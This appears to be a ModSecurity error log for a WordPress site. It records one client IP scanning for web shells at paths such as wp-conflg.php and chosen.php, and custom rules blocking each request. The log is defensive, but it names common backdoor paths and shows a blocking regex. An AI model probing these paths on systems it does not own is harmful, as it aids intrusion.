[Mon Dec 01 02:30:39.543920 2025] [:error] [pid 22995:tid 23010] [client 20.37.126.21:19436] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "aSyNT6hgK6YGad0ApM9ewAAAAQw"]
[Mon Dec 01 02:30:40.060102 2025] [:error] [pid 41526:tid 41538] [client 20.37.126.21:19357] [client 20.37.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSyNUF0bjN1zt83-HJ0j-gAAAUc"]
[Mon Dec 01 02:30:40.872880 2025] [:error] [pid 22995:tid 23009] [client 20.37.126.21:19347] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aSyNUKhgK6YGad0ApM9exAAAAQs"]
[Mon Dec 01 02:30:41.386419 2025] [:error] [pid 32520:tid 32539] [client 20.37.126.21:44152] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aSyNUfvbCMB_T-u6uxlYSgAAA44"]
[Mon Dec 01 02:30:41.927242 2025] [:error] [pid 32611:tid 32623] [client 20.37.126.21:19417] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aSyNUa_aT7PlMcEPLmkpHwAAAAo"]
[Mon Dec 01 02:30:42.416688 2025] [:error] [pid 32521:tid 32570] [client 20.37.126.21:19400] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/"] [unique_id "aSyNUj-OXioBrWvHoPraTwAAAxI"]
[Mon Dec 01 02:30:42.901942 2025] [:error] [pid 22963:tid 22975] [client 20.37.126.21:19445] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/install.php"] [unique_id "aSyNUigjrTC0kxo5Q-z8BwAAAIo"]
[Mon Dec 01 02:30:43.384504 2025] [:error] [pid 25124:tid 25158] [client 20.37.126.21:44143] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/install.php"] [unique_id "aSyNU1l826mNLYSD9-3QSwAAAEU"]
[Mon Dec 01 02:30:44.347885 2025] [:error] [pid 32521:tid 32558] [client 20.37.126.21:44054] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/install.php"] [unique_id "aSyNVD-OXioBrWvHoPraUwAAAwY"]
[Mon Dec 01 02:30:45.559974 2025] [:error] [pid 32611:tid 32635] [client 20.37.126.21:19388] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/install.php"] [unique_id "aSyNVa_aT7PlMcEPLmkpIwAAABY"]
[Mon Dec 01 02:30:46.762120 2025] [:error] [pid 22963:tid 22979] [client 20.37.126.21:44064] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/"] [unique_id "aSyNVigjrTC0kxo5Q-z8DQAAAI4"]
[Mon Dec 01 02:30:48.082242 2025] [:error] [pid 41526:tid 41549] [client 20.37.126.21:19419] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/"] [unique_id "aSyNWF0bjN1zt83-HJ0kAgAAAVI"]
[Mon Dec 01 02:30:48.892295 2025] [:error] [pid 32520:tid 32542] [client 20.37.126.21:19321] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/"] [unique_id "aSyNWPvbCMB_T-u6uxlYVAAAA5E"]
[Mon Dec 01 02:30:49.947829 2025] [:error] [pid 32520:tid 32530] [client 20.37.126.21:19418] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/"] [unique_id "aSyNWfvbCMB_T-u6uxlYVQAAA4U"]
[Mon Dec 01 02:30:56.241527 2025] [:error] [pid 32521:tid 32563] [client 20.37.126.21:19359] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2024/index.php"] [unique_id "aSyNYD-OXioBrWvHoPradAAAAws"]
[Mon Dec 01 02:30:56.811378 2025] [:error] [pid 32611:tid 32622] [client 20.37.126.21:19421] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2024/index.php"] [unique_id "aSyNYK_aT7PlMcEPLmkpLAAAAAk"]
[Mon Dec 01 02:30:57.805746 2025] [:error] [pid 32522:tid 32595] [client 20.37.126.21:19391] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2024/index.php"] [unique_id "aSyNYSY5g6U7AgYu2cLBngAAANA"]
[Mon Dec 01 02:30:58.965779 2025] [:error] [pid 22995:tid 23017] [client 20.37.126.21:19395] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2024/index.php"] [unique_id "aSyNYqhgK6YGad0ApM9e0wAAARM"]
[Mon Dec 01 02:30:59.983615 2025] [:error] [pid 41526:tid 41548] [client 20.37.126.21:19369] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/chosen.php"] [unique_id "aSyNY10bjN1zt83-HJ0kFQAAAVE"]
[Mon Dec 01 02:31:00.703670 2025] [:error] [pid 32611:tid 32615] [client 20.37.126.21:19374] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/chosen.php"] [unique_id "aSyNZK_aT7PlMcEPLmkpNgAAAAI"]
[Mon Dec 01 02:31:01.203624 2025] [:error] [pid 22995:tid 23015] [client 20.37.126.21:19432] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/chosen.php"] [unique_id "aSyNZahgK6YGad0ApM9e1gAAARE"]
[Mon Dec 01 02:31:01.978783 2025] [:error] [pid 41526:tid 41531] [client 20.37.126.21:44080] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/chosen.php"] [unique_id "aSyNZV0bjN1zt83-HJ0kGAAAAUA"]
[Mon Dec 01 02:31:02.542374 2025] [:error] [pid 22963:tid 22969] [client 20.37.126.21:44114] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/class-config.php"] [unique_id "aSyNZigjrTC0kxo5Q-z8HwAAAIQ"]
[Mon Dec 01 02:31:03.719672 2025] [:error] [pid 41526:tid 41543] [client 20.37.126.21:19344] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/class-config.php"] [unique_id "aSyNZ10bjN1zt83-HJ0kHQAAAUw"]
[Mon Dec 01 02:31:04.313918 2025] [:error] [pid 32520:tid 32540] [client 20.37.126.21:19447] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/class-config.php"] [unique_id "aSyNaPvbCMB_T-u6uxlYbwAAA48"]
[Mon Dec 01 02:31:05.433413 2025] [:error] [pid 22995:tid 23008] [client 20.37.126.21:44049] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/class-config.php"] [unique_id "aSyNaahgK6YGad0ApM9e4gAAAQo"]
[Mon Dec 01 02:31:06.354958 2025] [:error] [pid 32521:tid 32553] [client 20.37.126.21:44157] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSyNaj-OXioBrWvHoPraigAAAwE"]
[Mon Dec 01 02:31:07.425713 2025] [:error] [pid 32522:tid 32581] [client 20.37.126.21:19371] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSyNayY5g6U7AgYu2cLBrQAAAMI"]
[Mon Dec 01 02:31:07.892004 2025] [:error] [pid 25124:tid 25169] [client 20.37.126.21:19448] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSyNa1l826mNLYSD9-3QcAAAAFA"]
[Mon Dec 01 02:31:08.913738 2025] [:error] [pid 41526:tid 41543] [client 20.37.126.21:44084] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aSyNbF0bjN1zt83-HJ0kIwAAAUw"]
[Mon Dec 01 02:31:09.784599 2025] [:error] [pid 32522:tid 32595] [client 20.37.126.21:19441] [client 20.37.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSyNbSY5g6U7AgYu2cLBsQAAANA"]
[Mon Dec 01 02:31:10.214654 2025] [:error] [pid 22995:tid 23007] [client 20.37.126.21:44117] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/"] [unique_id "aSyNbqhgK6YGad0ApM9e6QAAAQk"]
[Mon Dec 01 02:31:10.984207 2025] [:error] [pid 41526:tid 41539] [client 20.37.126.21:19338] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/"] [unique_id "aSyNbl0bjN1zt83-HJ0kJgAAAUg"]
[Mon Dec 01 02:31:12.197191 2025] [:error] [pid 22963:tid 22976] [client 20.37.126.21:19280] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/"] [unique_id "aSyNcCgjrTC0kxo5Q-z8KgAAAIs"]
[Mon Dec 01 02:31:12.982349 2025] [:error] [pid 32521:tid 32569] [client 20.37.126.21:19449] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/"] [unique_id "aSyNcD-OXioBrWvHoPraqAAAAxE"]
[Mon Dec 01 02:31:13.720179 2025] [:error] [pid 41526:tid 41541] [client 20.37.126.21:44081] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/"] [unique_id "aSyNcV0bjN1zt83-HJ0kLgAAAUo"]
[Mon Dec 01 02:31:14.446805 2025] [:error] [pid 32521:tid 32559] [client 20.37.126.21:44094] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/"] [unique_id "aSyNcj-OXioBrWvHoPrargAAAwc"]
[Mon Dec 01 02:31:15.073074 2025] [:error] [pid 25124:tid 25166] [client 20.37.126.21:44074] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/"] [unique_id "aSyNc1l826mNLYSD9-3QgwAAAE0"]
[Mon Dec 01 02:31:15.725458 2025] [:error] [pid 22995:tid 23010] [client 20.37.126.21:19273] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/"] [unique_id "aSyNc6hgK6YGad0ApM9e6gAAAQw"]
[Mon Dec 01 02:31:16.203761 2025] [:error] [pid 41526:tid 41536] [client 20.37.126.21:19277] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSyNdF0bjN1zt83-HJ0kMgAAAUU"]
[Mon Dec 01 02:31:16.564347 2025] [:error] [pid 22963:tid 22970] [client 20.37.126.21:44034] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSyNdCgjrTC0kxo5Q-z8MQAAAIU"]
[Mon Dec 01 02:31:17.131080 2025] [:error] [pid 32520:tid 32542] [client 20.37.126.21:44086] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSyNdfvbCMB_T-u6uxlYhwAAA5E"]
[Mon Dec 01 02:31:18.898333 2025] [:error] [pid 41526:tid 41548] [client 20.37.126.21:19368] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSyNdl0bjN1zt83-HJ0kNQAAAVE"]
[Mon Dec 01 02:31:20.242633 2025] [:error] [pid 32611:tid 32627] [client 20.37.126.21:19392] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/"] [unique_id "aSyNeK_aT7PlMcEPLmkpUwAAAA4"]
[Mon Dec 01 02:31:21.694387 2025] [:error] [pid 22963:tid 22970] [client 20.37.126.21:19442] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/"] [unique_id "aSyNeSgjrTC0kxo5Q-z8OgAAAIU"]
[Mon Dec 01 02:31:23.472596 2025] [:error] [pid 22963:tid 22972] [client 20.37.126.21:19346] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/"] [unique_id "aSyNeygjrTC0kxo5Q-z8PwAAAIc"]
[Mon Dec 01 02:31:24.670481 2025] [:error] [pid 32520:tid 32546] [client 20.37.126.21:19450] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/"] [unique_id "aSyNfPvbCMB_T-u6uxlYmgAAA5U"]
[Mon Dec 01 02:31:26.536562 2025] [:error] [pid 41526:tid 41550] [client 20.37.126.21:19205] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2022/"] [unique_id "aSyNfl0bjN1zt83-HJ0kQAAAAVM"]
[Mon Dec 01 02:31:28.088488 2025] [:error] [pid 22963:tid 22977] [client 20.37.126.21:19414] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2022/"] [unique_id "aSyNgCgjrTC0kxo5Q-z8TgAAAIw"]
[Mon Dec 01 02:31:29.982046 2025] [:error] [pid 22963:tid 22970] [client 20.37.126.21:19354] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2022/"] [unique_id "aSyNgSgjrTC0kxo5Q-z8VwAAAIU"]
[Mon Dec 01 02:31:31.000680 2025] [:error] [pid 22995:tid 23015] [client 20.37.126.21:19290] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2022/"] [unique_id "aSyNgqhgK6YGad0ApM9fAQAAARE"]
[Mon Dec 01 02:31:31.497190 2025] [:error] [pid 32521:tid 32569] [client 20.37.126.21:19330] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/widgets/"] [unique_id "aSyNgz-OXioBrWvHoPrazAAAAxE"]
[Mon Dec 01 02:31:32.107848 2025] [:error] [pid 41526:tid 41548] [client 20.37.126.21:19390] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/widgets/"] [unique_id "aSyNhF0bjN1zt83-HJ0kWAAAAVE"]
[Mon Dec 01 02:31:32.858624 2025] [:error] [pid 41526:tid 41531] [client 20.37.126.21:19378] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/widgets/"] [unique_id "aSyNhF0bjN1zt83-HJ0kWgAAAUA"]
